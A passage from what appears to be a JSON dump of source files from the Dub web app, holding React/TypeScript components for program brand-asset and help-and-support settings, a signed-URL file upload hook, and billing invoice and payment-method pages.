backgroundColor: color.color }}\n                          />\n                        }\n                        title={color.name || \"Color\"}\n                        description={color.color.toUpperCase()}\n                        copyText={color.color.toUpperCase()}\n                        onEdit={() => handleEditColor(color)}\n                        onDelete={() => handleDelete(\"color\", color.id)}\n                      />\n                    ))}\n                  </div>\n                )}\n              </AnimatedSizeContainer>\n            </div>\n          </SettingsRow>\n\n          <SettingsRow\n            heading=\"Additional Files\"\n            description=\"Any document or zip file, max size 10 MB\"\n          >\n            <div className=\"flex flex-col gap-3\">\n              <div className=\"flex items-center justify-end\">\n                <Button\n                  text=\"Add File\"\n                  className=\"h-8 w-fit px-3\"\n                  onClick={handleAddFile}\n                  loading={isLoading}\n                />\n              </div>\n              <AnimatedSizeContainer\n                height\n                transition={{ duration: 0.2, ease: \"easeInOut\" }}\n              >\n                {resources?.files && resources.files.length > 0 && (\n                  <div className=\"grid gap-2\">\n                    {resources?.files?.map((file) => (\n                      <ResourceCard\n                        key={file.id}\n                        resourceType=\"file\"\n                        icon={\n                          <div className=\"flex size-full items-center justify-center bg-neutral-50\">\n                            <FileContent className=\"size-4 text-neutral-800\" />\n                          </div>\n                        }\n                        title={file.name || \"File\"}\n                        description={`${getFileExtension(file.url) || \"Unknown\"}・${formatFileSize(file.size, 0)}`}\n                        downloadUrl={file.url}\n                        onEdit={() => handleEditFile(file)}\n                        onDelete={() => handleDelete(\"file\", file.id)}\n                      />\n                    ))}\n                  </div>\n                )}\n              </AnimatedSizeContainer>\n            </div>\n          </SettingsRow>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/resources/program-brand-assets/use-upload-program-resource.ts",
    "content": "\"use client\";\n\nimport { getProgramResourceUploadUrlAction } from \"@/lib/actions/partners/program-resources/get-program-resource-upload-url\";\nimport { useAction } from \"next-safe-action/hooks\";\n\nexport function useUploadProgramResource(workspaceId: string) {\n  const { executeAsync: getUploadUrl } = useAction(\n    getProgramResourceUploadUrlAction,\n  );\n\n  const upload = async (opts: {\n    file: File;\n    name: string;\n    resourceType: \"logo\" | \"file\";\n    extension?: string;\n  }) => {\n    const result = await getUploadUrl({\n      workspaceId,\n      resourceType: opts.resourceType,\n      name: opts.name,\n      extension: opts.extension,\n      fileSize: opts.file.size,\n    });\n\n    if (!result?.data) throw new Error(\"Failed to get upload URL\");\n\n    const { signedUrl, key, fileSize } = result.data;\n\n    const headers: Record<string, string> = {};\n    if (opts.resourceType === \"logo\" && opts.extension === \"svg\") {\n      headers[\"Content-Type\"] = \"image/svg+xml\";\n    }\n\n    const response = await fetch(signedUrl, {\n      method: \"PUT\",\n      headers,\n      body: opts.file,\n    });\n\n    if (!response.ok) throw new Error(`Failed to upload ${opts.resourceType}`);\n\n    return { key, fileSize };\n  };\n\n  return { upload };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/resources/program-help-and-support.tsx",
    "content": "\"use client\";\n\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport { updateProgramAction } from \"@/lib/actions/partners/update-program\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramProps } from \"@/lib/types\";\nimport { usePartnersUpgradeModal } from \"@/ui/partners/partners-upgrade-modal\";\nimport { Button, CrownSmall, Switch, TooltipContent } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { SettingsRow } from \"../program-settings-row\";\n\ntype FormData = Pick<\n  ProgramProps,\n  \"supportEmail\" | \"helpUrl\" | \"termsUrl\" | \"messagingEnabledAt\"\n>;\n\nexport function ProgramHelpAndSupport() {\n  const { program } = useProgram();\n\n  return (\n    <div className=\"rounded-lg border border-neutral-200 bg-white\">\n      <div className=\"p-6\">\n        <h2 className=\"inline-flex items-center gap-2 text-lg font-semibold text-neutral-900\">\n          Help and Support\n        </h2>\n        <p className=\"mt-1 text-sm text-neutral-600\">\n          Configure the support email, help center, and terms of service for\n          your program.\n        </p>\n      </div>\n      <ProgramHelpAndSupportContent key={program?.id} program={program} />\n    </div>\n  );\n}\n\nexport function ProgramHelpAndSupportContent({\n  program,\n}: {\n  program?: ProgramProps;\n}) {\n  const { id: workspaceId, plan } = useWorkspace();\n\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal();\n\n  const {\n    control,\n    register,\n    handleSubmit,\n    getValues,\n    formState: { isDirty, isValid, isSubmitting },\n  } = useForm<FormData>({\n    mode: \"onBlur\",\n    defaultValues: {\n      supportEmail: program?.supportEmail,\n      helpUrl: program?.helpUrl,\n      termsUrl: program?.termsUrl,\n      messagingEnabledAt: program?.messagingEnabledAt,\n    },\n  });\n\n  const { executeAsync } = useAction(updateProgramAction, {\n    onSuccess: async () => {\n      toast.success(\"Communication settings updated successfully.\");\n      await mutate(`/api/programs/${program?.id}?workspaceId=${workspaceId}`);\n\n      // Notify other tabs (e.g., the application builder) that program data changed\n      try {\n        const channel = new BroadcastChannel(\"program-terms-updated\");\n        channel.postMessage({ termsUrl: getValues(\"termsUrl\") || null });\n        channel.close();\n      } catch {\n        // BroadcastChannel not supported, fall back to revalidateOnFocus\n      }\n    },\n    onError: ({ error }) => {\n      toast.error(\n        parseActionError(error, \"Failed to update communication settings.\"),\n      );\n    },\n  });\n\n  const onSubmit = async (data: FormData) => {\n    if (!workspaceId) {\n      return;\n    }\n\n    await executeAsync({\n      ...data,\n      workspaceId,\n      helpUrl: data.helpUrl || null,\n      termsUrl: data.termsUrl || null,\n    });\n  };\n\n  return (\n    <>\n      {partnersUpgradeModal}\n      <form onSubmit={handleSubmit(onSubmit)}>\n        <div className=\"divide-y divide-neutral-200 border-t border-neutral-200 px-6\">\n          <SettingsRow\n            heading=\"Support Email\"\n            description=\"For partner support requests\"\n            required\n          >\n            <div className=\"flex items-center justify-end\">\n              <div className=\"w-full max-w-md\">\n                <input\n                  type=\"email\"\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"support@dub.co\"\n                  {...register(\"supportEmail\", {\n                    required: true,\n                  })}\n                />\n              </div>\n            </div>\n          </SettingsRow>\n\n          <SettingsRow\n            heading=\"Messaging center\"\n            description=\"Communicate with your partners directly inside Dub\"\n          >\n            <div className=\"flex items-center justify-end\">\n              <div className=\"w-full max-w-md\">\n                <label className=\"flex items-center gap-3\">\n                  <Controller\n                    control={control}\n                    name=\"messagingEnabledAt\"\n                    render={({ field }) => (\n                      <Switch\n                        checked={Boolean(field.value)}\n                        fn={(checked) =>\n                          field.onChange(checked ? new Date() : null)\n                        }\n                        trackDimensions=\"radix-state-checked:bg-black focus-visible:ring-black/20\"\n                        disabledTooltip={\n                          !field.value &&\n                          !getPlanCapabilities(plan).canMessagePartners ? (\n                            <TooltipContent\n                              title=\"Messaging is only available on Advanced plans and above.\"\n                              cta=\"Upgrade to Advanced\"\n                              onClick={() => setShowPartnersUpgradeModal(true)}\n                            />\n                          ) : undefined\n                        }\n                        thumbIcon={\n                          !getPlanCapabilities(plan).canMessagePartners ? (\n                            <CrownSmall className=\"size-full text-neutral-500\" />\n                          ) : undefined\n                        }\n                      />\n                    )}\n                  />\n                  <span className=\"text-content-default text-sm font-medium\">\n                    Enable partner messaging\n                  </span>\n                </label>\n              </div>\n            </div>\n          </SettingsRow>\n\n          <SettingsRow\n            heading=\"Help Center\"\n            description=\"Program help articles and documentation\"\n          >\n            <div className=\"flex items-center justify-end\">\n              <div className=\"w-full max-w-md\">\n                <input\n                  type=\"url\"\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  {...register(\"helpUrl\")}\n                  placeholder=\"https://dub.co/help\"\n                />\n              </div>\n            </div>\n          </SettingsRow>\n\n          <SettingsRow\n            heading=\"Terms of Service\"\n            description=\"Program terms of service and legal information\"\n          >\n            <div className=\"flex items-center justify-end\">\n              <div className=\"w-full max-w-md\">\n                <input\n                  type=\"url\"\n                  className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  {...register(\"termsUrl\")}\n                  placeholder=\"https://dub.co/legal/affiliates\"\n                />\n              </div>\n            </div>\n          </SettingsRow>\n        </div>\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 px-6 py-4\">\n          <Button\n            text=\"Save changes\"\n            variant=\"primary\"\n            className=\"h-8 w-fit\"\n            loading={isSubmitting}\n            disabled={!isDirty || !isValid}\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/invoices/page-client.tsx",
    "content": "\"use client\";\n\nimport { INVOICE_PAYMENT_METHODS } from \"@/lib/constants/payouts\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { InvoiceProps } from \"@/lib/types\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport {\n  buttonVariants,\n  DynamicTooltipWrapper,\n  Receipt2,\n  StatusBadge,\n  TabSelect,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn, currencyFormatter, fetcher } from \"@dub/utils\";\nimport { AlertCircle } from \"lucide-react\";\nimport { useMemo } from \"react\";\nimport useSWR from \"swr\";\n\nconst INVOICE_TYPES = [\n  { id: \"subscription\", label: \"Subscription\" },\n  { id: \"partnerPayout\", label: \"Partner payouts\" },\n  { id: \"domainRenewal\", label: \"Domain renewals\" },\n];\n\nexport default function WorkspaceInvoicesClient() {\n  const { slug } = useWorkspace();\n  const { searchParams, queryParams } = useRouterStuff();\n\n  const selectedInvoiceType = useMemo(() => {\n    let type = searchParams.get(\"type\");\n\n    if (type === \"payout\") {\n      type = \"partnerPayout\";\n    }\n\n    return INVOICE_TYPES.find((t) => t.id === type) || INVOICE_TYPES[0];\n  }, [searchParams]);\n\n  const { data: invoices } = useSWR<InvoiceProps[]>(\n    `/api/workspaces/${slug}/billing/invoices?type=${selectedInvoiceType.id}`,\n    fetcher,\n  );\n\n  const displayPaymentMethod = selectedInvoiceType.id === \"partnerPayout\";\n\n  return (\n    <div className=\"rounded-lg border border-neutral-200 bg-white\">\n      <div className=\"flex flex-col items-start justify-between gap-y-4 p-6 md:p-8 md:pb-2 lg:flex-row\">\n        <div>\n          <h2 className=\"text-xl font-medium\">Invoices</h2>\n          <p className=\"text-balance text-sm leading-normal text-neutral-500\">\n            A history of all your Dub invoices\n          </p>\n        </div>\n      </div>\n      <TabSelect\n        className=\"px-4 md:px-5\"\n        options={INVOICE_TYPES}\n        selected={selectedInvoiceType.id}\n        onSelect={(id) => {\n          queryParams({\n            set: {\n              type: id,\n            },\n          });\n        }}\n      />\n      <div className=\"grid divide-y divide-neutral-200 border-t border-neutral-200\">\n        {invoices ? (\n          invoices.length > 0 ? (\n            invoices.map((invoice) => (\n              <InvoiceCard\n                key={invoice.id}\n                invoice={invoice}\n                displayPaymentMethod={displayPaymentMethod}\n              />\n            ))\n          ) : (\n            <AnimatedEmptyState\n              title={`No ${selectedInvoiceType.label.toLowerCase()} invoices found`}\n              description={`You don't have any ${selectedInvoiceType.label.toLowerCase()} invoices yet`}\n              cardContent={() => (\n                <>\n                  <Receipt2 className=\"size-4 text-neutral-700\" />\n                  <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n                </>\n              )}\n              className=\"border-none\"\n            />\n          )\n        ) : (\n          <>\n            <InvoiceCardSkeleton displayPaymentMethod={displayPaymentMethod} />\n            <InvoiceCardSkeleton displayPaymentMethod={displayPaymentMethod} />\n            <InvoiceCardSkeleton displayPaymentMethod={displayPaymentMethod} />\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n\nconst InvoiceCard = ({\n  invoice,\n  displayPaymentMethod = false,\n}: {\n  invoice: InvoiceProps;\n  displayPaymentMethod: boolean;\n}) => {\n  const invoicePaymentMethod =\n    INVOICE_PAYMENT_METHODS[invoice.paymentMethod ?? \"ach\"];\n\n  return (\n    <div className=\"px-3 py-4 xl:px-12\">\n      {/* Mobile layout */}\n      <div className=\"block xl:hidden\">\n        <div className=\"mb-4 flex items-start justify-between\">\n          <div className=\"text-sm\">\n            <div className=\"font-medium\">{invoice.description}</div>\n            <div className=\"text-neutral-500\">\n              {new Date(invoice.createdAt).toLocaleDateString(\"en-US\", {\n                month: \"short\",\n                year: \"numeric\",\n                day: \"numeric\",\n              })}\n            </div>\n          </div>\n          <div className=\"flex items-center\">\n            {invoice.pdfUrl && invoice.status !== \"failed\" ? (\n              <a\n                href={invoice.pdfUrl}\n                target=\"_blank\"\n                className={cn(\n                  buttonVariants({ variant: \"secondary\" }),\n                  \"flex h-9 items-center justify-center rounded-md border px-3 text-sm\",\n                )}\n              >\n                <span>View invoice</span>\n              </a>\n            ) : (\n              <div />\n            )}\n          </div>\n        </div>\n\n        <div className=\"space-y-4\">\n          <div className=\"text-left text-sm\">\n            <div className=\"font-medium\">Total</div>\n            <div className=\"flex items-center gap-1.5 text-neutral-500\">\n              <span className=\"text-sm font-medium\">\n                {currencyFormatter(invoice.total)}\n              </span>\n              {invoice.status &&\n                (() => {\n                  const badge = PayoutStatusBadges[invoice.status];\n                  return (\n                    <DynamicTooltipWrapper\n                      {...(invoice.failedReason\n                        ? { tooltipProps: { content: invoice.failedReason } }\n                        : null)}\n                    >\n                      <StatusBadge\n                        icon={invoice.status === \"failed\" ? AlertCircle : null}\n                        variant={badge.variant}\n                        className=\"rounded-md py-0.5\"\n                      >\n                        {badge.label}\n                      </StatusBadge>\n                    </DynamicTooltipWrapper>\n                  );\n                })()}\n            </div>\n          </div>\n\n          {displayPaymentMethod && (\n            <div className=\"text-left text-sm\">\n              <div className=\"font-medium\">Method</div>\n              {invoicePaymentMethod ? (\n                <div className=\"flex items-center gap-1.5 text-neutral-500\">\n                  <div className=\"text-content-subtle text-sm font-medium\">\n                    {invoicePaymentMethod.label}\n                  </div>\n                  <StatusBadge\n                    icon={null}\n                    variant=\"neutral\"\n                    className=\"rounded-md py-0.5 text-xs font-semibold text-neutral-700\"\n                  >\n                    {invoicePaymentMethod.duration}\n                  </StatusBadge>\n                </div>\n              ) : (\n                <span className=\"text-neutral-500\">-</span>\n              )}\n            </div>\n          )}\n        </div>\n      </div>\n\n      {/* Desktop layout */}\n      <div className=\"hidden xl:grid xl:grid-cols-4 xl:gap-4\">\n        <div className=\"text-sm xl:col-span-1\">\n          <div className=\"font-medium\">{invoice.description}</div>\n          <div className=\"text-neutral-500\">\n            {new Date(invoice.createdAt).toLocaleDateString(\"en-US\", {\n              month: \"short\",\n              year: \"numeric\",\n              day: \"numeric\",\n            })}\n          </div>\n        </div>\n\n        <div className=\"text-left text-sm sm:col-span-1\">\n          <div className=\"font-medium\">Total</div>\n          <div className=\"flex items-center gap-1.5 text-neutral-500\">\n            <span className=\"text-sm font-medium\">\n              {currencyFormatter(invoice.total)}\n            </span>\n            {invoice.status &&\n              (() => {\n                const badge = PayoutStatusBadges[invoice.status];\n                return (\n                  <DynamicTooltipWrapper\n                    {...(invoice.failedReason\n                      ? { tooltipProps: { content: invoice.failedReason } }\n                      : null)}\n                  >\n                    <StatusBadge\n                      icon={invoice.status === \"failed\" ? AlertCircle : null}\n                      variant={badge.variant}\n                      className=\"rounded-md py-0.5\"\n                    >\n                      {badge.label}\n                    </StatusBadge>\n                  </DynamicTooltipWrapper>\n                );\n              })()}\n          </div>\n        </div>\n\n        {displayPaymentMethod && (\n          <div className=\"text-left text-sm sm:col-span-1 lg:block\">\n            <div className=\"font-medium\">Method</div>\n            {invoicePaymentMethod ? (\n              <div className=\"flex items-center gap-1.5 text-neutral-500\">\n                <div className=\"text-content-subtle text-sm font-medium\">\n                  {invoicePaymentMethod.label}\n                </div>\n                <StatusBadge\n                  icon={null}\n                  variant=\"neutral\"\n                  className=\"rounded-md py-0.5 text-xs font-semibold text-neutral-700\"\n                >\n                  {invoicePaymentMethod.duration}\n                </StatusBadge>\n              </div>\n            ) : (\n              <span className=\"text-neutral-500\">-</span>\n            )}\n          </div>\n        )}\n\n        <div className=\"flex items-center justify-end sm:col-span-1 sm:justify-end\">\n          {invoice.pdfUrl && invoice.status !== \"failed\" ? (\n            <a\n              href={invoice.pdfUrl}\n              target=\"_blank\"\n              className={cn(\n                buttonVariants({ variant: \"secondary\" }),\n                \"flex h-9 items-center justify-center rounded-md border px-3 text-sm\",\n              )}\n            >\n              <span>View invoice</span>\n            </a>\n          ) : (\n            <div />\n          )}\n        </div>\n      </div>\n    </div>\n  );\n};\n\nconst InvoiceCardSkeleton = ({\n  displayPaymentMethod = false,\n}: {\n  displayPaymentMethod?: boolean;\n}) => {\n  return (\n    <div className=\"px-4 py-6 sm:px-12\">\n      {/* Mobile skeleton */}\n      <div className=\"block sm:hidden\">\n        <div className=\"mb-4 flex items-start justify-between\">\n          <div className=\"flex flex-col gap-1 text-sm\">\n            <div className=\"h-4 w-32 animate-pulse rounded-md bg-neutral-200\" />\n            <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n          </div>\n          <div className=\"h-9 w-24 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n\n        <div className=\"space-y-4\">\n          <div className=\"flex flex-col gap-1\">\n            <div className=\"h-4 w-16 animate-pulse rounded-md bg-neutral-200\" />\n            <div className=\"h-4 w-20 animate-pulse rounded-md bg-neutral-200\" />\n          </div>\n\n          {displayPaymentMethod && (\n            <div className=\"flex flex-col gap-1\">\n              <div className=\"h-4 w-12 animate-pulse rounded-md bg-neutral-200\" />\n              <div className=\"h-4 w-20 animate-pulse rounded-md bg-neutral-200\" />\n            </div>\n          )}\n        </div>\n      </div>\n\n      {/* Desktop skeleton */}\n      <div className=\"hidden sm:grid sm:grid-cols-3 sm:gap-4 lg:grid-cols-4\">\n        <div className=\"flex flex-col gap-1 text-sm sm:col-span-1\">\n          <div className=\"h-4 w-32 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n\n        <div className=\"flex flex-col gap-1 sm:col-span-1\">\n          <div className=\"h-4 w-16 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"h-4 w-20 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n\n        {displayPaymentMethod && (\n          <div className=\"flex flex-col gap-1 sm:col-span-1\">\n            <div className=\"h-4 w-12 animate-pulse rounded-md bg-neutral-200\" />\n            <div className=\"h-4 w-20 animate-pulse rounded-md bg-neutral-200\" />\n          </div>\n        )}\n\n        <div className=\"flex items-center justify-end sm:col-span-1 sm:justify-end\">\n          <div className=\"h-9 w-24 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/invoices/page.tsx",
    "content": "import { Suspense } from \"react\";\nimport WorkspaceInvoicesClient from \"./page-client\";\n\nexport default function WorkspaceInvoices() {\n  return (\n    <Suspense>\n      <WorkspaceInvoicesClient />\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ReactNode } from \"react\";\n\nexport default function BillingLayout({ children }: { children: ReactNode }) {\n  return (\n    <PageContent title=\"Billing\">\n      <PageWidthWrapper>{children}</PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/page.tsx",
    "content": "import PaymentMethods from \"./payment-methods\";\nimport PlanUsage from \"./plan-usage\";\n\nexport default function WorkspaceBilling() {\n  return (\n    <div className=\"grid gap-8\">\n      <PlanUsage />\n      <PaymentMethods />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/payment-method-types.ts",
    "content": "\"use client\";\n\nimport {\n  CardAmex,\n  CardDiscover,\n  CardMastercard,\n  CardVisa,\n  CreditCard,\n  GreekTemple,\n  StripeLink,\n} from \"@dub/ui/icons\";\nimport { capitalize } from \"@dub/utils\";\nimport { Stripe } from \"stripe\";\n\nexport const PaymentMethodTypesList = (paymentMethod?: Stripe.PaymentMethod) =>\n  [\n    {\n      type: \"card\",\n      title: \"Card\",\n      icon: paymentMethod?.card\n        ? {\n            amex: CardAmex,\n            discover: CardDiscover,\n            mastercard: CardMastercard,\n            visa: CardVisa,\n          }[paymentMethod?.card.brand] ?? CreditCard\n        : CreditCard,\n      description: paymentMethod?.card\n        ? `Connected ${capitalize(paymentMethod.card.brand)} ***${paymentMethod.card.last4}`\n        : \"No card connected\",\n      iconBgColor: \"bg-neutral-100\",\n    },\n    {\n      type: \"us_bank_account\",\n      title: \"ACH\",\n      icon: GreekTemple,\n      description: paymentMethod?.us_bank_account\n        ? `Account ending in ****${paymentMethod.us_bank_account.last4}`\n        : \"Not connected\",\n    },\n    {\n      type: \"acss_debit\",\n      title: \"ACSS Debit\",\n      icon: GreekTemple,\n      description: paymentMethod?.acss_debit\n        ? `Account ending in ****${paymentMethod.acss_debit.last4}`\n        : \"Not connected\",\n    },\n    {\n      type: \"sepa_debit\",\n      title: \"SEPA Debit\",\n      icon: GreekTemple,\n      description: paymentMethod?.sepa_debit\n        ? `Account ending in ****${paymentMethod.sepa_debit.last4}`\n        : \"Not connected\",\n    },\n    {\n      type: \"link\",\n      title: \"Link\",\n      icon: StripeLink,\n      iconBgColor: \"bg-green-100\",\n      description: paymentMethod?.link\n        ? `Account with ${paymentMethod.link?.email}`\n        : \"No Link account connected\",\n    },\n  ] satisfies {\n    type: Stripe.PaymentMethod.Type;\n    title: string;\n    icon: React.ElementType;\n    description: string;\n    iconBgColor?: string;\n  }[];\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/payment-methods.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { DIRECT_DEBIT_PAYMENT_METHOD_TYPES } from \"@/lib/constants/payouts\";\nimport usePaymentMethods from \"@/lib/swr/use-payment-methods\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { useAddPaymentMethodModal } from \"@/ui/modals/add-payment-method-modal\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { Badge, Button, CreditCard, GreekTemple, MoneyBill2 } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useRouter } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { Stripe } from \"stripe\";\nimport { PaymentMethodTypesList } from \"./payment-method-types\";\n\nexport default function PaymentMethods() {\n  const router = useRouter();\n  const { paymentMethods } = usePaymentMethods();\n  const [isLoading, setIsLoading] = useState(false);\n  const { slug, stripeId, plan, role } = useWorkspace();\n\n  const regularPaymentMethods = paymentMethods?.filter(\n    (pm) => !DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(pm.type),\n  );\n\n  const partnerPaymentMethods = paymentMethods?.filter((pm) =>\n    DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(pm.type),\n  );\n\n  const managePaymentMethods = async () => {\n    setIsLoading(true);\n    const { url } = await fetch(\n      `/api/workspaces/${slug}/billing/payment-methods`,\n      {\n        method: \"POST\",\n        body: JSON.stringify({}),\n      },\n    ).then((res) => res.json());\n\n    router.push(url);\n  };\n\n  if (plan === \"free\") {\n    return null;\n  }\n\n  return (\n    <div className=\"mb-8 rounded-xl border border-neutral-200 bg-white\">\n      <div className=\"flex flex-col items-start justify-between gap-y-4 p-6 md:flex-row md:items-center md:p-8\">\n        <div>\n          <h2 className=\"text-xl font-medium\">Payment methods</h2>\n          <p className=\"text-balance text-sm leading-normal text-neutral-500\">\n            Manage your payment methods on Dub\n          </p>\n        </div>\n        {stripeId && (\n          <Button\n            variant=\"secondary\"\n            text=\"Manage\"\n            className=\"h-9 w-fit\"\n            onClick={() => managePaymentMethods()}\n            loading={isLoading}\n            disabledTooltip={\n              clientAccessCheck({\n                action: \"billing.write\",\n                role,\n              }).error\n            }\n          />\n        )}\n      </div>\n      <div className=\"grid gap-4 rounded-b-xl border-t border-neutral-200 bg-neutral-100 p-6\">\n        {regularPaymentMethods ? (\n          regularPaymentMethods.length > 0 ? (\n            regularPaymentMethods.map((paymentMethod) => (\n              <PaymentMethodCard\n                key={paymentMethod.id}\n                type={paymentMethod.type}\n                paymentMethod={paymentMethod}\n              />\n            ))\n          ) : (\n            <AnimatedEmptyState\n              title=\"No payment methods found\"\n              description=\"You haven't added any payment methods yet\"\n              cardContent={() => (\n                <>\n                  <CreditCard className=\"size-4 text-neutral-700\" />\n                  <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n                </>\n              )}\n              className=\"border-none md:min-h-[250px]\"\n            />\n          )\n        ) : (\n          <PaymentMethodCardSkeleton />\n        )}\n\n        {partnerPaymentMethods ? (\n          partnerPaymentMethods.length > 0 ? (\n            partnerPaymentMethods.map((paymentMethod) => (\n              <PaymentMethodCard\n                key={paymentMethod.id}\n                type={paymentMethod.type}\n                paymentMethod={paymentMethod}\n                forPayouts={true}\n              />\n            ))\n          ) : (\n            <NoPartnerPaymentMethods />\n          )\n        ) : (\n          <PaymentMethodCardSkeleton />\n        )}\n      </div>\n    </div>\n  );\n}\n\nconst PaymentMethodCard = ({\n  type,\n  paymentMethod,\n  forPayouts = false,\n}: {\n  type: Stripe.PaymentMethod.Type;\n  paymentMethod?: Stripe.PaymentMethod;\n  forPayouts?: boolean;\n}) => {\n  const result = PaymentMethodTypesList(paymentMethod);\n\n  const {\n    title,\n    icon: Icon,\n    iconBgColor,\n    description,\n  } = result.find((method) => method.type === type) || result[0];\n\n  return (\n    <>\n      <RecommendedForPayoutsWrapper recommended={forPayouts}>\n        <div className=\"flex items-center justify-between rounded-lg border border-neutral-200 bg-white p-4 drop-shadow-sm\">\n          <div className=\"flex items-center gap-4\">\n            <div\n              className={cn(\n                \"flex size-12 items-center justify-center rounded-lg bg-neutral-100\",\n                iconBgColor,\n              )}\n            >\n              <Icon className=\"size-6 text-neutral-700\" />\n            </div>\n            <div>\n              <div className=\"flex items-center gap-2\">\n                <p className=\"font-medium text-neutral-900\">{title}</p>\n                {paymentMethod &&\n                  (DIRECT_DEBIT_PAYMENT_METHOD_TYPES.includes(type) ||\n                    paymentMethod.link?.email) && (\n                    <Badge className=\"border-transparent bg-green-200 text-[0.625rem] text-green-900\">\n                      Connected\n                    </Badge>\n                  )}\n              </div>\n              <p className=\"text-sm text-neutral-500\">{description}</p>\n            </div>\n          </div>\n        </div>\n      </RecommendedForPayoutsWrapper>\n    </>\n  );\n};\n\nconst NoPartnerPaymentMethods = () => {\n  const { stripeId } = useWorkspace();\n  const { setShowAddPaymentMethodModal, AddPaymentMethodModal } =\n    useAddPaymentMethodModal();\n  const { role } = useWorkspace();\n\n  if (!stripeId) {\n    return null;\n  }\n\n  return (\n    <>\n      {AddPaymentMethodModal}\n      <RecommendedForPayoutsWrapper recommended={true}>\n        <div className=\"flex items-center justify-between rounded-lg border border-neutral-200 bg-white p-4 drop-shadow-sm\">\n          <div className=\"flex items-center gap-4\">\n            <div\n              className={cn(\n                \"flex size-12 items-center justify-center rounded-lg bg-neutral-100\",\n              )}\n            >\n              <GreekTemple className=\"size-6 text-neutral-700\" />\n            </div>\n\n            <div>\n              <div className=\"flex items-center gap-2\">\n                <p className=\"font-medium text-neutral-900\">Bank account</p>\n              </div>\n              <p className=\"text-sm text-neutral-500\">Not connected</p>\n            </div>\n          </div>\n\n          <Button\n            variant=\"primary\"\n            className=\"h-9 w-fit\"\n            text=\"Connect\"\n            onClick={() => setShowAddPaymentMethodModal(true)}\n            disabledTooltip={\n              clientAccessCheck({\n                action: \"billing.write\",\n                role,\n                customPermissionDescription: \"connect payment methods\",\n              }).error || undefined\n            }\n          />\n        </div>\n      </RecommendedForPayoutsWrapper>\n    </>\n  );\n};\n\nconst RecommendedForPayoutsWrapper = ({\n  recommended,\n  children,\n}: {\n  recommended: boolean;\n  children: React.ReactNode;\n}) => {\n  return recommended ? (\n    <div className=\"rounded-[0.75rem] bg-neutral-200 p-1\">\n      {children}\n      <span className=\"flex items-center gap-2 px-3 pb-1 pt-1.5 text-xs text-neutral-800\">\n        <MoneyBill2 className=\"size-3.5 shrink-0\" />\n        <span>\n          Recommended for Dub Partner payouts.{\" \"}\n          <Link\n            href=\"https://dub.co/help/article/how-to-set-up-bank-account\"\n            target=\"_blank\"\n            className=\"underline underline-offset-2 transition-colors duration-75 hover:text-neutral-900\"\n          >\n            Learn more\n          </Link>\n        </span>\n      </span>\n    </div>\n  ) : (\n    children\n  );\n};\n\nconst PaymentMethodCardSkeleton = () => {\n  return (\n    <div className=\"flex items-center justify-between rounded-lg border border-neutral-200 p-4\">\n      <div className=\"flex items-center gap-4\">\n        <div className=\"flex size-12 animate-pulse items-center justify-center rounded-lg bg-neutral-200\" />\n        <div>\n          <div className=\"h-5 w-24 animate-pulse rounded-md 